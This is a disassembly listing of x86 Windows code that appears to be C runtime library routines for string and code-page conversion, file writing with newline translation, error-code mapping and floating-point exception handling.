		push	dword ptr [ebp+20h]
		call	ds:dword_421064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_41BEDF
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41BE74
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_41BE74:				; CODE XREF: seg000:0041BE5Fj
		cmp	[ebp-24h], edi
		jz	short loc_41BEDF
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41BEDF
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_41BEDF
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_41BEF3
		cmp	[ebp+1Ch], edi
		jz	loc_41BF6E
		cmp	esi, [ebp+1Ch]
		jg	short loc_41BEDF
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190	; LCMapStringW
		test	eax, eax
		jnz	loc_41BF6E


loc_41BEDF:				; CODE XREF: seg000:0041BE06j
					; seg000:0041BE3Dj ...
		xor	eax, eax


loc_41BEE1:				; CODE XREF: seg000:0041BDFEj
					; seg000:0041BF70j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BEF3:				; CODE XREF: seg000:0041BEB1j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41BF27
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_41BF27:				; CODE XREF: seg000:0041BF13j
		cmp	ebx, edi
		jz	short loc_41BEDF
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BEDF
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_41BF4E
		push	edi
		push	edi
		jmp	short loc_41BF54
; ---------------------------------------------------------------------------


loc_41BF4E:				; CODE XREF: seg000:0041BF48j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_41BF54:				; CODE XREF: seg000:0041BF4Cj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_421138	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BEDF


loc_41BF6E:				; CODE XREF: seg000:0041BEB6j
					; seg000:0041BED9j
		mov	eax, esi
		jmp	loc_41BEE1

; =============== S U B	R O U T	I N E =======================================



sub_41BF75	proc near		; CODE XREF: seg000:0041BDD2p
					; sub_41F825+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BF92


loc_41BF85:				; CODE XREF: sub_41BF75+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BF92
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BF85


loc_41BF92:				; CODE XREF: sub_41BF75+Ej
					; sub_41BF75+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BF9D
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41BF9D:				; CODE XREF: sub_41BF75+21j
		mov	eax, edx
		retn
sub_41BF75	endp

; ---------------------------------------------------------------------------


loc_41BFA0:				; CODE XREF: sub_41C364+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41C139
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_46A8A4
		mov	[ebp+8], esi
		jz	loc_41C12D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C123
		xor	edx, edx
		mov	eax, offset dword_4380D0


loc_41BFD4:				; CODE XREF: seg000:0041BFE1j
		cmp	[eax], esi
		jz	short loc_41C04A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4381C0
		jl	short loc_41BFD4
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0CB0004h
		fild	dword ptr [ebx-7AF0FE08h]
		and	al, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
		inc	eax
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9C0
		cmp	dword ptr [ebp-18h], 1
		mov	ds:dword_46A8A4, esi
		rep stosd
		stosb
		mov	ds:dword_46AAC4, ebx
		jbe	loc_41C109
		cmp	byte ptr [ebp-12h], 0
		jz	loc_41C0DF
		lea	ecx, [ebp-11h]


loc_41C027:				; CODE XREF: seg000:0041C0D9j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C0DF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C038:				; CODE XREF: seg000:0041C048j
		cmp	eax, edx
		ja	loc_41C0D3
		or	ds:byte_46A9C1[eax], 4
		inc	eax
		jmp	short loc_41C038
; ---------------------------------------------------------------------------


loc_41C04A:				; CODE XREF: seg000:0041BFD6j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9C0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_4380E0[esi]


loc_41C066:				; CODE XREF: seg000:0041C0A3j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C099


loc_41C06D:				; CODE XREF: seg000:0041C097j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C099
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C092
		mov	edx, [ebp-4]
		mov	dl, ds:byte_4380C8[edx]


loc_41C087:				; CODE XREF: seg000:0041C090j
		or	ds:byte_46A9C1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C087


loc_41C092:				; CODE XREF: seg000:0041C07Cj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C06D


loc_41C099:				; CODE XREF: seg000:0041C06Bj
					; seg000:0041C072j
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_41C066
		mov	eax, [ebp+8]
		mov	ds:dword_46A8BC, 1
		push	eax
		mov	ds:dword_46A8A4, eax
		call	sub_41C183
		lea	esi, dword_4380D4[esi]
		mov	edi, offset dword_46A8B0
		movsd
		movsd
		pop	ecx
		mov	ds:dword_46AAC4, eax
		movsd
		jmp	short loc_41C128
; ---------------------------------------------------------------------------


loc_41C0D3:				; CODE XREF: seg000:0041C03Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C027	; CODE XREF: sub_41C139+1Fj


loc_41C0DF:				; CODE XREF: seg000:0041C01Ej
					; seg000:0041C02Bj
		push	1
		pop	eax


loc_41C0E2:				; CODE XREF: seg000:0041C0EFj
		or	ds:byte_46A9C1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C0E2
		push	esi
		call	sub_41C183
		pop	ecx
		mov	ds:dword_46AAC4, eax
		mov	ds:dword_46A8BC, 1
		jmp	short loc_41C10F
; ---------------------------------------------------------------------------


loc_41C109:				; CODE XREF: seg000:0041C014j
		mov	ds:dword_46A8BC, ebx


loc_41C10F:				; CODE XREF: seg000:0041C107j
		xor	eax, eax
		mov	edi, offset dword_46A8B0
		stosd
		stosd
		stosd
		jmp	short loc_41C128
; ---------------------------------------------------------------------------
		cmp	ds:dword_469520, ebx
		jz	short loc_41C131


loc_41C123:				; CODE XREF: seg000:0041BFC7j
		call	sub_41C1B6


loc_41C128:				; CODE XREF: seg000:0041C0D1j
					; seg000:0041C119j
		call	sub_41C1DF


loc_41C12D:				; CODE XREF: seg000:0041BFBDj
		xor	eax, eax
		jmp	short loc_41C134
; ---------------------------------------------------------------------------


loc_41C131:				; CODE XREF: seg000:0041C121j
		or	eax, 0FFFFFFFFh


loc_41C134:				; CODE XREF: seg000:0041C12Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C139	proc near		; CODE XREF: seg000:0041BFACp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_469520, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_41C158+1
		mov	ds:dword_469520, 1
		call	near ptr 3D0000h


loc_41C158:				; CODE XREF: sub_41C139+Ej
		jecxz	short near ptr loc_41C0D9+4
		clc
		std
		jnz	short loc_41C16E
		mov	ds:dword_469520, 1
		call	near ptr 0C90004h
		cwde


loc_41C16E:				; CODE XREF: sub_41C139+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C182
		mov	eax, ds:dword_469518
		mov	ds:dword_469520, 1

locret_41C182:				; CODE XREF: sub_41C139+38j
		retn
sub_41C139	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C183	proc near		; CODE XREF: seg000:0041C0B8p
					; seg000:0041C0F2p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C1B0
		sub	eax, 4
		jz	short loc_41C1AA
		sub	eax, 0Dh
		jz	short loc_41C1A4
		dec	eax
		jz	short loc_41C19E
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C19E:				; CODE XREF: sub_41C183+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C1A4:				; CODE XREF: sub_41C183+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C1AA:				; CODE XREF: sub_41C183+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C1B0:				; CODE XREF: sub_41C183+9j
		mov	eax, 411h
		retn
sub_41C183	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B6	proc near		; CODE XREF: seg000:loc_41C123p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46A9C0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46A8B0
		mov	ds:dword_46A8A4, eax
		mov	ds:dword_46A8BC, eax
		mov	ds:dword_46AAC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C1B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1DF	proc near		; CODE XREF: seg000:loc_41C128p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_46A8A4
		call	near ptr 0CD0004h
		dec	ebp
		cmp	eax, 1
		jnz	loc_41C318
		xor	eax, eax
		mov	esi, 100h


loc_41C209:				; CODE XREF: sub_41C1DF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C209
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C25A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41C228:				; CODE XREF: sub_41C1DF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C24F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C24F:				; CODE XREF: sub_41C1DF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C228
		pop	edi
		pop	ebx


loc_41C25A:				; CODE XREF: sub_41C1DF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_46AAC4
		push	ds:dword_46A8A4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	loc_41D1D7
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_46A8A4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_46AAC4
		call	loc_41BD51
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_46A8A4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_46AAC4
		call	loc_41BD51
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41C2D5:				; CODE XREF: sub_41C1DF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C2F3
		or	ds:byte_46A9C1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41C2EB:				; CODE XREF: sub_41C1DF+127j
		mov	ds:byte_46A8C0[eax], dl
		jmp	short loc_41C30F
; ---------------------------------------------------------------------------


loc_41C2F3:				; CODE XREF: sub_41C1DF+FCj
		test	dl, 2
		jz	short loc_41C308
		or	ds:byte_46A9C1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C2EB
; ---------------------------------------------------------------------------


loc_41C308:				; CODE XREF: sub_41C1DF+117j
		and	ds:byte_46A8C0[eax], 0


loc_41C30F:				; CODE XREF: sub_41C1DF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C2D5
		jmp	short loc_41C361
; ---------------------------------------------------------------------------


loc_41C318:				; CODE XREF: sub_41C1DF+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41C31F:				; CODE XREF: sub_41C1DF+180j
		cmp	eax, 41h
		jb	short loc_41C33D
		cmp	eax, 5Ah
		ja	short loc_41C33D
		or	ds:byte_46A9C1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41C335:				; CODE XREF: sub_41C1DF+174j
		mov	ds:byte_46A8C0[eax], cl
		jmp	short loc_41C35C
; ---------------------------------------------------------------------------


loc_41C33D:				; CODE XREF: sub_41C1DF+143j
					; sub_41C1DF+148j
		cmp	eax, 61h
		jb	short loc_41C355
		cmp	eax, 7Ah
		ja	short loc_41C355
		or	ds:byte_46A9C1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C335
; ---------------------------------------------------------------------------


loc_41C355:				; CODE XREF: sub_41C1DF+161j
					; sub_41C1DF+166j
		and	ds:byte_46A8C0[eax], 0


loc_41C35C:				; CODE XREF: sub_41C1DF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C31F


loc_41C361:				; CODE XREF: sub_41C1DF+137j
		pop	esi
		leave
		retn
sub_41C1DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C364	proc near		; CODE XREF: seg000:0041C7ABp
					; sub_41C7FA+Dp ...
		cmp	ds:dword_46AAEC, 0
		jnz	short locret_41C37F
		push	0FFFFFFFDh
		call	loc_41BFA0
		pop	ecx
		mov	ds:dword_46AAEC, 1

locret_41C37F:				; CODE XREF: sub_41C364+7j
		retn
sub_41C364	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C380	proc near		; CODE XREF: sub_417328+2Bp
					; sub_417328+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_46A8BC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C3A4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D20
		add	esp, 0Ch
		jmp	short loc_41C407
; ---------------------------------------------------------------------------


loc_41C3A4:				; CODE XREF: sub_41C380+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C3E9
		mov	ecx, [ebp+arg_4]


loc_41C3AF:				; CODE XREF: sub_41C380+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_46A9C1[esi], 4
		mov	[edi], al
		jz	short loc_41C3D3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C3DF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C3E5
		jmp	short loc_41C3D9
; ---------------------------------------------------------------------------


loc_41C3D3:				; CODE XREF: sub_41C380+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C3E9


loc_41C3D9:				; CODE XREF: sub_41C380+51j
		test	edx, edx
		jnz	short loc_41C3AF
		jmp	short loc_41C3E9
; ---------------------------------------------------------------------------


loc_41C3DF:				; CODE XREF: sub_41C380+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C3E9
; ---------------------------------------------------------------------------


loc_41C3E5:				; CODE XREF: sub_41C380+4Fj
		and	byte ptr [edi-2], 0


loc_41C3E9:				; CODE XREF: sub_41C380+2Aj
					; sub_41C380+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C404
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41C404:				; CODE XREF: sub_41C380+6Fj
		mov	eax, [ebp+arg_0]


loc_41C407:				; CODE XREF: sub_41C380+22j
		pop	edi
		pop	ebp
		retn
sub_41C380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C40A	proc near		; CODE XREF: sub_4175DF+A2p
					; sub_417C17+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_46A8A0
		push	esi
		push	edi
		jnb	loc_41C59E
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41C59E
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41C45B


loc_41C454:				; CODE XREF: sub_41C40A+177j
		xor	eax, eax
		jmp	loc_41C5B2
; ---------------------------------------------------------------------------


loc_41C45B:				; CODE XREF: sub_41C40A+48j
		test	al, 20h
		jz	short loc_41C46B
		push	2
		push	edi
		push	ecx
		call	sub_41BB5F
		add	esp, 0Ch


loc_41C46B:				; CODE XREF: sub_41C40A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C53A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41C572


loc_41C48B:				; CODE XREF: sub_41C40A+F5j
		lea	eax, [ebp+var_414]


loc_41C491:				; CODE XREF: sub_41C40A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4C5
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41C4B0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41C4B0:				; CODE XREF: sub_41C40A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41C491


loc_41C4C5:				; CODE XREF: sub_41C40A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 3D0000h
		pop	ebp
		test	eax, eax
		jz	short loc_41C52F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41C501
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41C48B


loc_41C501:				; CODE XREF: sub_41C40A+EAj
					; sub_41C40A+12Ej
		xor	edi, edi


loc_41C503:				; CODE XREF: sub_41C40A+150j
					; sub_41C40A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41C599
		cmp	[ebp+arg_0], edi
		jz	short loc_41C572
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41C567
		mov	ds:dword_469474, 9
		mov	ds:dword_469478, eax
		jmp	loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C52F:				; CODE XREF: sub_41C40A+E0j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C501
; ---------------------------------------------------------------------------


loc_41C53A:				; CODE XREF: sub_41C40A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 3D0000h
		sti
		test	eax, eax
		jz	short loc_41C55C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41C503
; ---------------------------------------------------------------------------


loc_41C55C:				; CODE XREF: sub_41C40A+145j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C503
; ---------------------------------------------------------------------------


loc_41C567:				; CODE XREF: sub_41C40A+10Fj
		push	[ebp+arg_0]
		call	sub_41C5B7
		pop	ecx
		jmp	short loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C572:				; CODE XREF: sub_41C40A+7Bj
					; sub_41C40A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C587
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41C454


loc_41C587:				; CODE XREF: sub_41C40A+16Fj
		mov	ds:dword_469474, 1Ch
		mov	ds:dword_469478, edi
		jmp	short loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C599:				; CODE XREF: sub_41C40A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41C5B2
; ---------------------------------------------------------------------------


loc_41C59E:				; CODE XREF: sub_41C40A+15j
					; sub_41C40A+37j
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9


loc_41C5AF:				; CODE XREF: sub_41C40A+120j
					; sub_41C40A+166j ...
		or	eax, 0FFFFFFFFh


loc_41C5B2:				; CODE XREF: sub_41C40A+4Cj
					; sub_41C40A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C40A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B7	proc near		; CODE XREF: sub_4176E9+16p
					; sub_4178DC+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_469478, ecx
		mov	eax, offset dword_4381C0


loc_41C5C8:				; CODE XREF: sub_41C5B7+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C5EC
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_438328
		jl	short loc_41C5C8
		cmp	ecx, 13h
		jb	short loc_41C5F9
		cmp	ecx, 24h
		ja	short loc_41C5F9
		mov	ds:dword_469474, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C5EC:				; CODE XREF: sub_41C5B7+13j
		mov	eax, ds:dword_4381C4[edx*8]
		mov	ds:dword_469474, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5B7+23j
					; sub_41C5B7+28j
		cmp	ecx, 0BCh
		jb	short loc_41C613
		cmp	ecx, 0CAh
		mov	ds:dword_469474, 8
		jbe	short locret_41C61D


loc_41C613:				; CODE XREF: sub_41C5B7+48j
		mov	ds:dword_469474, 16h

locret_41C61D:				; CODE XREF: sub_41C5B7+5Aj
		retn
sub_41C5B7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41C75F
		test	eax, eax
		pop	ecx
		jz	loc_41C753
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41C753
		cmp	ebx, 5
		jnz	short loc_41C64F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41C75C
; ---------------------------------------------------------------------------


loc_41C64F:				; CODE XREF: seg000:0041C641j
		cmp	ebx, 1
		jz	loc_41C74E
		mov	ecx, ds:dword_469524
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	ds:dword_469524, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41C73E
		mov	ecx, ds:dword_4383A0
		mov	edx, ds:dword_4383A4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41C69E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:438330h[esi*4]


loc_41C695:				; CODE XREF: seg000:0041C69Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41C695


loc_41C69E:				; CODE XREF: seg000:0041C687j
		mov	eax, [eax]
		mov	esi, ds:dword_4383AC
		cmp	eax, 0C000008Eh
		jnz	short loc_41C6B9
		mov	ds:dword_4383AC, 83h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6B9:				; CODE XREF: seg000:0041C6ABj
		cmp	eax, 0C0000090h
		jnz	short loc_41C6CC
		mov	ds:dword_4383AC, 81h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6CC:				; CODE XREF: seg000:0041C6BEj
		cmp	eax, 0C0000091h
		jnz	short loc_41C6DF
		mov	ds:dword_4383AC, 84h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6DF:				; CODE XREF: seg000:0041C6D1j
		cmp	eax, 0C0000093h
		jnz	short loc_41C6F2
		mov	ds:dword_4383AC, 85h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C6F2:				; CODE XREF: seg000:0041C6E4j
		cmp	eax, 0C000008Dh
		jnz	short loc_41C705
		mov	ds:dword_4383AC, 82h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C705:				; CODE XREF: seg000:0041C6F7j
		cmp	eax, 0C000008Fh
		jnz	short loc_41C718
		mov	ds:dword_4383AC, 86h
		jmp	short loc_41C729
; ---------------------------------------------------------------------------


loc_41C718:				; CODE XREF: seg000:0041C70Aj
		cmp	eax, 0C0000092h
		jnz	short loc_41C729
		mov	ds:dword_4383AC, 8Ah


loc_41C729:				; CODE XREF: seg000:0041C6B7j
					; seg000:0041C6CAj ...
		push	ds:dword_4383AC
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_4383AC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41C746
; ---------------------------------------------------------------------------


loc_41C73E:				; CODE XREF: seg000:0041C670j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41C746:				; CODE XREF: seg000:0041C73Cj
		mov	eax, [ebp+8]
		mov	ds:dword_469524, eax


loc_41C74E:				; CODE XREF: seg000:0041C652j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C75C
; ---------------------------------------------------------------------------


loc_41C753:				; CODE XREF: seg000:0041C62Dj
					; seg000:0041C638j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4211A0	; UnhandledExceptionFilter


loc_41C75C:				; CODE XREF: seg000:0041C64Aj
					; seg000:0041C751j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C75F	proc near		; CODE XREF: seg000:0041C625p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_4383A8
		cmp	ds:dword_438328, edx
		push	esi
		mov	eax, offset dword_438328
		jz	short loc_41C78C
		lea	esi, [ecx+ecx*2]
